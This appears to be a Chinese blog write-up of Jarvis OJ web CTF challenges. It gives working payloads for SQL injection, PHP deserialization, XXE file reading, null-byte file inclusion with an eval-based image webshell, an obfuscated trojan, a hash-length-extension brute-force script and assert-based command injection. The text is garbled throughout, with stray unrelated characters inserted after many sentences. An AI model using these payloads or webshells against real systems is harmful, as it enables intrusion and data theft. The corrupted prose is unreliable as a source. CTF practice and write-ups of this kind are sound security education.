title: Jarvis OJ Web
date: 2019-05-18 14:06:08
tags:
- CTF
- web
- Jarvis OJ
categories:
- CTF
- Jarvis
- Web
Jarvis OJ Web部分題目的write up
前言
前后零零碎碎算是把Jarvis OJ上面Web部分的題刷完了欧募,收獲挺多的,特此記錄一下误阻。
Jarvis Oj題目地址:https://www.jarvisoj.com/challenges
0x01 PORT51
題目描述:
題目鏈接進去如下圖想邦,說要用51端口進行訪問育韩。
看到題目我的第一反應是用socket編程。后面發(fā)現(xiàn)不用這么麻煩像街,直接用curl --local-port
即可筹裕。
0x02 LOCALHOST
題目描述:
題目鏈接點進去提示說较鼓,localhost access only!!
這類題目也見過挺多了椎木,直接改請求頭里的X-Forwarded-For
即可。
0x03 Login
題目描述:
需要密碼才能獲得flag哦博烂。
題目鏈接:http://web.jarvisoj.com:32772/
題目進去是一個輸入框香椎,隨便輸點東西試試,并沒有發(fā)現(xiàn)什么有用的東西禽篱,于是找找源碼和請求頭畜伐、響應頭里有沒有什么提示。然后再請求頭里找到Hint
"select * from `admin` where password='".md5($pass,true)."'"
這里就是利用md5函數(shù)的不同輸出形式谆级。具體可參照:https://blog.csdn.net/March97/article/details/81222922 這里就不多講了烤礁。
只要輸入特定的字符串讼积,如可以輸入ffifdyop
和129581926211651571912466741651878684928
即可得到flag
0x04 神盾局的秘密
題目描述:
這里有個通向神盾局內(nèi)部網(wǎng)絡的秘密入口肥照,你能通過漏洞發(fā)現(xiàn)神盾局的秘密嗎脚仔?
題目入口:http://web.jarvisoj.com:32768/
點進鏈接去是一張圖片,仔細看了一遍這張圖舆绎,發(fā)現(xiàn)并沒有什么異常鲤脏。于是開始在源碼和請求頭里找看有沒有提示。
然后在index.php
的源碼里發(fā)現(xiàn)了圖片插入的標簽<img src=showimg.php?img=c2hpZWxkLmpwZw==>
這個showimg.php和img參數(shù)不免讓人想到文件包含吕朵,把img參數(shù)的值base64解密一下猎醇,發(fā)現(xiàn)是shield.jpg
。于是就可以確定思路努溃,利用showimg.php顯示一下index.php看看能不能得到什么信息硫嘶。
于是訪問:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
,aW5kZXgucGhw是index.php的base64加密編碼
得到下圖結(jié)果梧税。
這里的代碼應該是index.php
的源碼沦疾,一部分在注釋里,另一部分放在了html里第队,這里整理一下哮塞。
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
這代碼看過去,看到shield.php和unserialize就應該明白過來凳谦,應該是要用反序列化忆畅,shield類的代碼在shield.php里面,于是繼續(xù)用showimg.php顯示一下shield.php尸执。
訪問:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
家凯,img參數(shù)值是shield.php的base64編碼
。
得到下圖結(jié)果如失。又是一部分代碼注釋另一部分放在HTML里肆饶。再次整理一下shield.php代碼
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this ->file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\'==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
這段代碼里可以看到提示說flag在pctf.php里面,而前面index.php里最后調(diào)用的readfile函數(shù)具體實現(xiàn)代碼也在這里岖常。到這里就很明顯了驯镊。構(gòu)造數(shù)據(jù),使得反序列化后shield的file參數(shù)為pctf.php竭鞍,然后利用readfile函數(shù)輸出flag板惑。
生成payload。
最終payload為:
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
得到flag
0x05 IN A Mess
題目描述:
連出題人自己都忘了flag放哪了偎快,只記得好像很混亂的樣子冯乘。
題目入口:http://web.jarvisoj.com:32780/
這個題,前幾天寫SQL注入Bypass的時候?qū)戇^了晒夹,這里就不多講了裆馒。
http://miracle778.site/Web%E5%AE%89%E5%85%A8/SQL%E6%B3%A8%E5%85%A5/SQL%E6%B3%A8%E5%85%A5%E4%B9%8BWAF-Bypass.html#more
0x06 RE?
題目描述:
咦姊氓,奇怪,說好的WEB題呢喷好,怎么成逆向了翔横?不過里面有個help_me函數(shù)挺有意思的哦
附件鏈接:https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
這題應該是考知識廣度吧,mysql擴展函數(shù) ---- UDF
有時候我們需要對表中的數(shù)據(jù)進行一些處理而內(nèi)置函數(shù)不能滿足需要的時候梗搅,就需要對MySQL進行一些擴展禾唁,使用者自行添加的MySQL函數(shù)就稱為UDF(User Define Function)。
于是只要在mysql上導入无切,然后調(diào)用里面函數(shù)荡短。這里附件文件頭是EIF開頭,所以要在linux下的mysql使用哆键。
先在mysql命令行下用select @@plugin_dir
查看mysql的插件目錄
然后把udf.so文件拷貝到該目錄下并重命名為udf.so掘托。然后在mysql里使用
create function <函數(shù)名> returns string soname <udf文件名>
創(chuàng)建外部函數(shù)。如這里籍嘹,題目描述里面說到有個help_me函數(shù)挺有意思闪盔,于是使用
create function help_me returns string soname 'udf.so';
創(chuàng)建help_me函數(shù),然后使用select help_me();
調(diào)用該函數(shù)噩峦。上圖是調(diào)用了help_me函數(shù)的結(jié)果锭沟,提示說用getflag函數(shù)獲取flag,于是再執(zhí)行一次create function getflag returns string soname 'udf.so'
語句识补,然后調(diào)用一次族淮。
0x07 flag在管理員手里
題目描述:
只有管理員才能獲得flag,你能想辦法獲得嗎凭涂?
題目鏈接:http://web.jarvisoj.com:32778/
題目進去又是說只有admin能看flag祝辣,隨便試一下改X-Forwarded-For 127.0.0.1,果不其然失敗了切油。
不過在請求頭發(fā)現(xiàn)了cookie的值有點東西...
這里把role的值url解碼后蝙斜,是s:5:"guest";
,是guest序列化的結(jié)果澎胡。
發(fā)現(xiàn)這個之后孕荠,肯定先把guest改一下admin試一下看看能不能成功,結(jié)果當然是失敗了攻谁,因為cookie里還有另一個變量hsh稚伍,它的值是一串哈希字符串,估計是用來校驗的戚宦。只改role肯定是不行个曙,肯定要改對應的hsh。
但改hsh肯定要知道他是怎么加密的受楼,不然憑空爆破肯定是不行的垦搬。于是要找找看有沒有源代碼渔肩。于是用御劍掃掃后臺碑隆,并沒有發(fā)現(xiàn)什么東西壶愤,于是就只能再掃掃看有沒有備份文件或者臨時文件怜庸,嘗試幾個.bak、.save糟趾、.swp慌植、~
甚牲,發(fā)現(xiàn)index.php~
可以訪問并下載的义郑。
index.php~下載下來分析,發(fā)現(xiàn)實質(zhì)是個.swp
vim異常退出文件丈钙,于是改個名用vim恢復一下非驮。最終源碼如下
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
看一下代碼,可以發(fā)現(xiàn)雏赦,role要反序列化得到admin劫笙,hsh要為(salt + role的反置)的md5值。
查了一下資料星岗,發(fā)現(xiàn)hsh那部分可以利用md5擴展攻擊實現(xiàn)填大,但是要實現(xiàn)md5擴展攻擊,對role肯定是要特殊構(gòu)造的俏橘,而改了role的話允华,$role ==== admin
又是三個=不能用弱類型比較。于是想到可能要利用unserialize函數(shù)寥掐。于是對unserialize函數(shù)簡單測試了一下靴寂。
如上圖示,我們可以發(fā)現(xiàn)召耘,當
s:5:"guest";
被反序列化后百炬,后面接著的內(nèi)容被忽視掉了。(PS:后面用php7測試了一下污它,結(jié)果一樣)
下面是關(guān)于md5哈希長度擴展攻擊的資料剖踊,這里就不多寫了。
https://www.cnblogs.com/p00mj/p/6288337.html
https://www.cnblogs.com/pcat/p/5478509.html
看完上面兩個鏈接里的資料后衫贬,應該對md5哈希長度擴展攻擊即相關(guān)工具hashpump有了了解德澈。按道理就應該直接用hashpump生成hsh,然后填入cookie就好祥山。但是哈希長度擴展攻擊有一個前提條件圃验,可以不知道salt的值,但是要知道它的長度缝呕,這樣才能進行填充澳窑。
因此這里還要用到python斧散,對salt的長度進行一下爆破,然后用python進行提交摊聋,python代碼如下鸡捐。
import requests
import urllib
import os
url = "http://web.jarvisoj.com:32778/"
# 提交請求
def Post(role,hsh,i):
cookie = {'role':role,'hsh':hsh}
r = requests.get(url,cookies=cookie)
# 如果提交的是錯誤的hsh值得話,錯誤返回報文長度為210
if len(r.text) != 210:
print("第",i,'次')
print(r.text)
exit()
return
# 計算hash值
cmd = 'hashpump -s 3a4727d57463f122833d9e732f94e4e0 -d \';"tseug":5:s\' -k {} -a \';"nimda":5:s\''
# 開始爆破
for i in range(1,100):
cmd_ = cmd.format(str(i))
res = os.popen(cmd_).readlines()
hsh,role = res[0][:-1],res[1][:-1]
# 需要對role進行反置處理
t1,t2,t3 = role[:12],role[12:-12],role[-12:]
t2 = t2.split('\\x')
t2 = t2[::-1]
t2 = '%'.join(t2)
t2 = '%' + t2[:-1]
role = t3[::-1] + t2 + t1[::-1]
role = role.replace(';','%3b')
print("第",i,'次')
print(role)
Post(role,hsh,i)
代碼跑一下麻裁,得到結(jié)果箍镜,salt的長度是12。
0x08 Chopper
題目描述:
小明入侵了一臺web服務器并上傳了一句話木馬煎源,但是色迂,管理員修補了漏洞,更改了權(quán)限手销。更重要的是:他忘記了木馬的密碼歇僧!你能幫助他奪回控制權(quán)限嗎?
關(guān)卡入口:http://web.jarvisoj.com:32782/
題目來源:ISCC2016
題目鏈接點進去如下圖锋拖,點擊下面的管理員登錄诈悍,鏈接指向http://web.jarvisoj.com:32782/admin
,彈了一個框說you are not admin!
,然后頁面是403 Forbidden You don't have permission to access /admin/ on this server.
查看admin頁面的源碼兽埃,如下圖侥钳,發(fā)現(xiàn)有行注釋,里面有admin的ip柄错。
于是訪問這個ip舷夺,也是403禁止訪問。這條路到這也算斷了鄙陡。
于是返回主頁冕房,看看有沒有別的消息。發(fā)現(xiàn)index.php頁面那張圖片的img標簽導入鏈接有點蹊蹺趁矾。
發(fā)現(xiàn)圖片地址是用proxy.php的url參數(shù)導入的耙册。于是想到是不是要用proxy.php來打ssrf。后面發(fā)現(xiàn)就是用proxy.php做兩個跳轉(zhuǎn)而已毫捣。
于是訪問http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/
然后發(fā)現(xiàn)頁面url被重定向為http://web.jarvisoj.com:32782/index.php?url=http://8080av.com
详拙,由此可以確定可以通過proxy.php訪問202.5.19.128。
但是通過proxy.php訪問202.5.19.128/admin的話蔓同,會訪問失敗饶辙。
于是可以試試訪問202.5.19.128/proxy.php看看是不是存在,是不是需要跳轉(zhuǎn)兩次斑粱。結(jié)果發(fā)現(xiàn)可以訪問
到現(xiàn)在可以簡單理下思路
http://web.jarvisoj.com:32782/ 下有proxy.php可以跳轉(zhuǎn)訪問還有/admin/目錄 403 禁止訪問
http://202.5.19.128/ 下有proxy.php可以進行跳轉(zhuǎn)
可以推測 flag在 http://web.jarvisoj.com:32782/admin/ 目錄下
而用 http://web.jarvisoj.com:32782/proxy.php?url=http://web.jarvisoj.com:32782/admin/ 與直接訪問 http://web.jarvisoj.com:32782/admin/ 得到的結(jié)果一樣弃揽,都是彈框 you are not admin
所以推測是要用 http://web.jarvisoj.com:32782/proxy.php 跳 http://202.5.19.128/proxy.php 跳 http://web.jarvisoj.com:32782/admin/ 進行兩次跳轉(zhuǎn)。
payload:http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
跳轉(zhuǎn)結(jié)果如下圖,you are cloosing
說實話矿微,到這里又懵了痕慢,后面看完別人的wp,發(fā)現(xiàn)admin/ 目錄下還有robots.txt這個文件涌矢,于是訪問robots.txt文件掖举,內(nèi)容如下
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
于是繼續(xù)訪問trojan.php.txt
,看一下代碼先。
<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>
被混淆了娜庇,不過沒關(guān)系塔次,復制下來本地執(zhí)行一下,看看報錯信息名秀。
所以這應該是題目描述里小明的一句話木馬励负。密碼是360
知道這個之后,就簡單了泰偿。
這道題感覺有點那么腦洞(可能是因為菜吧)熄守,但是每一步又都有點有理有據(jù)蜈垮。哎耗跛,菜逼還是菜呀。
0x09 Easy Gallery
題目描述:
"沒有什么防護是一個漏洞解決不了的攒发,如果有调塌,那
就.....
"
題目入口:http://web.jarvisoj.com:32785/
題目進去是一個簡單的網(wǎng)站系統(tǒng)。簡單瀏覽測試下惠猿,發(fā)現(xiàn)總共有兩個功能羔砾。
第一個功能是上傳圖片,經(jīng)過簡單測試偶妖,發(fā)現(xiàn)只能上傳jpg和gif格式圖片姜凄。而且用burp改后綴跟MIME都不可用,猜測是用了文件頭校驗趾访。
第二個功能是view态秧,通過前面上傳圖片成功會得到一個圖片ID,可以通過輸入圖片ID和圖片類型(jpg扼鞋、gif)進行查看申鱼。
結(jié)合這兩個功能的測試分析,不難推測云头,這題應該是通過生成圖片馬繞過上傳得到圖片ID捐友,然后利用圖片ID進行文件包含連接小馬。那么現(xiàn)在最主要的問題就集中在如何得到上傳圖片的路徑和找到進行文件包含的點溃槐。
找到上傳圖片的路徑簡單匣砖,先上傳一個正常jpg圖片,然后通過圖片ID訪問一下,測試一下整個流程猴鲫∑瞿纾可以看到,成功訪問变隔。
在圖片上右擊 在新標簽頁打開
规伐,得到圖片訪問路徑為http://web.jarvisoj.com:32785/uploads/<圖片ID>.<圖片類型jpg/gif>
下一個問題就是找到可以進行文件包含的點。通過觀察不難發(fā)現(xiàn)匣缘,Submit和View功能頁面的url都是通過?page=
參數(shù)進行訪問的猖闪。
Submit功能的url為http://web.jarvisoj.com:32785/index.php?page=submit
View功能的url為http://web.jarvisoj.com:32785/index.php?page=view
我們可以將page參數(shù)賦為圖片路徑,看看頁面返回結(jié)果
從返回的warning信息可以看出肌厨,服務器會自動把傳入的page參數(shù)的值后面加上
.php
后綴培慌,限制我們訪問除php外的文件,但是這里可以用%00
截斷一下柑爸。我們把圖片ID改成一個不存在的錯誤ID,然后用%00
截斷一下吵护,如果截斷成功,則應該會出現(xiàn)xxxx.jpg failed to open...
報錯表鳍。執(zhí)行結(jié)果如圖示馅而,證明此處是可以用%00
截斷的。于是我們生成一個圖片馬上傳試試譬圣。copy shell.gif/b + 2.php/a 2.gif
這里shell.gif是一張正常圖片瓮恭,2.php內(nèi)容為<?php @eval($_POST['miracle778']);?>
生成好后,我們上傳厘熟、截斷包含一下屯蹦,居然提示you should not do this!
。
說明可能我們馬可能被檢測到了绳姨。然后沒辦法了登澜,只能搜索一波別人的wp。
然后發(fā)現(xiàn)把一句話木馬改為<script language="php">@eval_r($_POST['miracle778']);</script>
即可···
另外提一下飘庄,<script language="php">
這種寫法好像php7已經(jīng)不支持了脑蠕。
重新生成圖片馬上傳,截斷包含即可得flag竭宰。
0x10 Simple Injection
題目描述:
很簡單的注入空郊,大家試試?
題目入口:http://web.jarvisoj.com:32787/
題目來源:ISCC2016
題目進去是一個登錄框切揭。
簡單測試下狞甚,發(fā)現(xiàn)有密碼錯誤和用戶名錯誤兩種錯誤回顯。
當輸入username=admin&password=123
廓旬,頁面返回密碼錯誤哼审。
當輸入username=admin'&password=123
谐腰,頁面返回用戶名錯誤。
而輸入username=admin' #&password=123
涩盾,頁面返回密碼錯誤而不是之前的用戶名錯誤十气,說明' #
沒有被過濾。
輸入username=admin' and 1=1#
春霍,頁面返回用戶名錯誤砸西,說明新增的空格和and可能存在過濾。于是逐步排查址儒,先將空格改為/**/
試試芹枷,即輸入username=admin'/**/and/**/1=1#
,結(jié)果發(fā)現(xiàn)頁面返回密碼錯誤莲趣,即可確定鸳慈,服務器只過濾了空格。
于是就可以通過頁面回顯結(jié)果進行布爾盲注喧伞,以頁面返回密碼錯誤為True走芋,返回用戶名錯誤為False。
這一題關(guān)于盲注的解法我準備后面文章再拿來當例子講(后面準備寫一篇關(guān)于盲注潘鲫、報錯注入的文章)
盲注腳本寫在另一篇文章里了翁逞,http://miracle778.site/Web安全/SQL注入/SQL注入之布爾盲注.html —— 5/25加
所以這題介紹另一種算是巧解的方法吧。
頁面存在兩種報錯返回結(jié)果次舌,用戶名錯誤和密碼錯誤熄攘,而且輸入除admin外的用戶名均提示用戶名錯誤,所以可以肯定admin一個用戶彼念,進而猜測它的處理邏輯可能為:通過輸入的username作為where條件查詢密碼,如果存在且查詢結(jié)果與輸入的密碼相同即爆flag浅萧,如果不匹配則返回密碼錯誤逐沙,而如果不存在查詢結(jié)果就報用戶名錯誤。邏輯代碼類似于下面:
$res = query(select password from user where username=$_POST['username']);//query函數(shù)為了簡便瞎寫了
if($res) //查詢返回結(jié)果不為空集
{
if(fetch($res)===md5($_POST['password'])){ //fetch函數(shù)為圖簡便洼畅,也是瞎寫的吩案。
echo $flag;
}
else{ //密碼不匹配
echo "密碼錯誤";
}
}
else{
echo "用戶名錯誤";
}
于是我們可以輸入一個不存在的用戶名,結(jié)合union select語句手動創(chuàng)建一個密碼作為sql查詢語句的返回結(jié)果帝簇,然后密碼框處輸入我們創(chuàng)建的假密碼進行繞過徘郭。
例如輸入username=miracle778'/**/union(select(123))#&password=123
,結(jié)果返回密碼錯誤沒有報用戶名錯誤丧肴,這說明了我們這個方法是生效的残揉,只是服務器做密碼比較的時候可能用了哈希加密,這里推測用了md5加密芋浮。于是輸入username=miracle778'/**/union(select(md5('123')))#&password=123
抱环,成功得到flag,如下圖示。
0x11 api調(diào)用
題目描述:
請設法獲得目標機器/home/ctf/flag.txt中的flag值镇草。
題目入口:http://web.jarvisoj.com:9882/
題目點進去眶痰,是一個輸入框
輸入測試字符串,然后點擊Go梯啤,抓個包看看竖伯。結(jié)果如下圖示,發(fā)現(xiàn)請求和響應包里的Content-Type都是json形式因宇,而且傳入和返回的數(shù)據(jù)都是json形式黔夭。
結(jié)合題目描述:請設法獲得目標機器/home/ctf/flag.txt中的flag值
,想到了利用XXE讀取文件羽嫡。
于是把請求頭里的Content-Type改為application/xml
本姥,并傳入<name>miracle778</name>
進行測試,如下圖杭棵,發(fā)現(xiàn)返回了XML內(nèi)容婚惫。
于是可以確定,此處存在XXE漏洞魂爪,然后只需構(gòu)造payload讀取
/home/ctf/flag.txt
即可先舷。payload:
<!DOCTYPE miracle [
<!ENTITY name SYSTEM "file:///home/ctf/flag.txt">
]
>
<miracle>&name;</miracle>
0x12 圖片上傳漏洞
題目描述:
請設法獲取/home/ctf/flag.txt 中的flag值。
(建議使用png文件上傳)
題目入口:http://web.jarvisoj.com:32790/
這題好像是利用一個漏洞滓侍,沒有做蒋川,先留著,以后做了再來寫撩笆。
0x13 PHPINFO
題目描述:
題目進去就看到了代碼捺球,簡單掃一眼下來,發(fā)現(xiàn)了serialize session
等關(guān)鍵詞夕冲,猜測跟反序列化有關(guān)氮兵。而且只要GET傳入了phpinfo參數(shù),就會通過構(gòu)造函數(shù)和析構(gòu)函數(shù)歹鱼,自動調(diào)用執(zhí)行phpinfo()
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
于是GET傳入phpinfo參數(shù)泣栈,看一下phpinfo內(nèi)容先。在phpinfo里面找到了session.serialize_handler設置項弥姻,如下圖南片,這個選項的全局變量是php_serialize,而index.php代碼里通過ini_set('session.serialize_handler', 'php');
改成了php庭敦。
這個session.serialize_handler選項疼进,決定php存儲session時用的序列化規(guī)則格式,而index.php設置的handler和默認的不同螺捐,所以會出現(xiàn)問題颠悬。
具體原理參考:PHP反序列化與Session
我這里簡單講一下矮燎,就是三種不同的handler對應三種不同的存儲session的序列化、反序列化格式赔癌,如果前后不一致诞外,就會出現(xiàn)安全問題。比如此題灾票,形成原理是在用session.serialize_handler = php_serialize存儲的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION
的值時 "|"會被當成鍵值對的分隔符峡谊。
簡單講完原理后,我們來找一下這題中的讀取刊苍、寫入session語句既们。我們可以看到index.php代碼里有這么一行session_start();
,讀取了session正什。那有了讀取session的語句啥纸,就具備了反序列化session攻擊爆flag的條件,不過在哪里寫入我們的惡意session呢婴氮?
這里就又要用到phpinfo了斯棒,在phpinfo里面還能找到另一個設置,session.upload_progress.enabled
session.upload_progress.enabled為On意味著當一個上傳在處理中主经,同時POST一個與INI中設置的session.upload_progress.name同名變量時荣暮,當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數(shù)據(jù)罩驻。所以可以通過Session Upload Progress來設置session穗酥。
于是我們可以本地寫一個上傳文件表單,post一個name=session.upload_progress的input標簽惠遏,這樣就可以通過修改filename的值達到寫入session的目的砾跃。表單代碼如下
<html>
<head>
<title>upload</title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
打開burp抓包,把filename修改為我們要寫入session里的payload(payload寫法具體看前面貼的鏈接)爽哎。
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
繼續(xù)讀取Here_1s_7he_fl4g_buT_You_Cannot_see.php
文件蜓席,對應payload如下:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}
得到flag
0x14 WEB?
題目描述:
這么簡單的題,是WEB嗎课锌?
題目入口:http://web.jarvisoj.com:9891/
好像是個找源碼解線性方程的題,留著祈秕,后面做渺贤。
0x15 [61dctf]admin
題目描述:
點擊題目去,發(fā)現(xiàn)只顯示hello world
请毛,于是找源碼和請求頭志鞍、響應頭,看看有沒有提示方仿。結(jié)果都沒找到固棚,于是用御劍掃一下后臺统翩,發(fā)現(xiàn)存在robots.txt
訪問robots.txt
,內(nèi)容為Disallow: /admin_s3cr3t.php
。于是繼續(xù)訪問/admin_s3cr3t.php
此洲,直接就得到flag了flag{hello guest}
厂汗,wtf? 提交一下居然還真是正確的。呜师。好吧
0x16 [61dctf]inject
題目描述:
題目入口:http://web.jarvisoj.com:32794/
Hint1: 先找到源碼再說吧~~
提示說先找到源碼再說娶桦,于是試一試常見的備份文件臨時文件名,比如.bak汁汗、.swp衷畦、.save、~
等知牌,最后在index.php~
找到祈争,源碼如下:
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
到這里其實只要了解mysql里面反引號的一些使用細節(jié)即可做出此題,不多說角寸,看參考文章吧菩混,mysql反引號和單引號區(qū)別
關(guān)鍵語句說明如下
desc `table1` `table2`
像上面的sql語句,如果table1存在的話袭厂,該語句就不會報錯
看回該題的源碼墨吓,第4行我們可以控制傳入的table參數(shù)注入desc語句,從而繞過判斷纹磺。
比如輸入 ?table=test` `union select database() limit 1,1
這個時候帖烘,index.php處理代碼里面第4行會變成
desc `secret_test` `union select database() limit 1,1
因為secret_test存在,第4行會往下執(zhí)行而不是跳去Hacker函數(shù)橄杨。第5行會變成
select 'flag{xxx}' from secret_test` `union select database() limit 1,1
之前總結(jié)mysql繞過waf的時候秘症,提到過反引號可以代替空格,此處就是這么個作用式矫,所以我們可以傳入union語句結(jié)合limit限制乡摹,輸出我們想要注入的語句執(zhí)行結(jié)果。這里limit 1,1是因為采转,select 'flag{xxx}' from sercet_test
只返回一個查詢結(jié)果聪廉,所以并上union后,union后面并列的查詢語句結(jié)果從1開始故慈,即limt 1,n
我們輸入 ?table=test` `union select database() limit 1,1 測試一下
得到了預期結(jié)果板熊,接下來就是union素質(zhì)三連擊,爆表察绷、爆列干签、爆flag。payload分別如下:
爆表:?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
image爆列:?table=test` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1
image爆flag:?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
image
0x17 [61dctf]register
題目描述:
題目入口:http://web.jarvisoj.com:32796/
Hint1: 二次注入
Hint2: register 二次注入在country
這題有點頂拆撼,先留著容劳,后面再來寫喘沿。
0x18 [61dctf]babyphp
題目描述:
題目點進去是一個博客,把該點的按鈕鏈接都點點掉竭贩,發(fā)現(xiàn)了一些信息蚜印。
說用到了git,這就想到了git源碼泄露娶视,于是搜索學習一波晒哄,Git泄露的總結(jié)
訪問http://web.jarvisoj.com:32798/.git/
,顯示403 Forbidden肪获,說明應該是存在.git目錄的寝凌,于是用Githack下載一下源碼。
源碼目錄里有一個flag.php孝赫,打開看看有沒有flag痛单,結(jié)果當然是沒有仗嗦,這里的flag被注釋掉了。于是只能看一下index.php的代碼,index.php部分代碼如下
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
可以看到有兩行assert語句虱饿,所以就想到了代碼注入朗伶。因為我們能控制$page
變量從而影響$file
變量悼嫉,所以此處可以進行注入解孙。第一個assert語句可以寫成如下形式
assert("strpos('templates/{$page}.php', '..') === false")
,當 $page=flag'.system("ls ./").'
時
該語句變?yōu)?code>assert("strpos('template/flag'.system("ls ./").'php','..')===false)双戳,即$file
變量變?yōu)榱巳齻€字符串拼接的結(jié)果虹蒋。從而達到執(zhí)行system函數(shù)的目的
所以最終payload:?page=flag'.system("cat templates/flag.php").'
,然后再在查看網(wǎng)頁源代碼里找到flag
0x19 [61dctf]babyxss
題目描述:
題目入口:http://web.jarvisoj.com:32800/
Hint1: csp bypass
以后來做飒货。魄衅。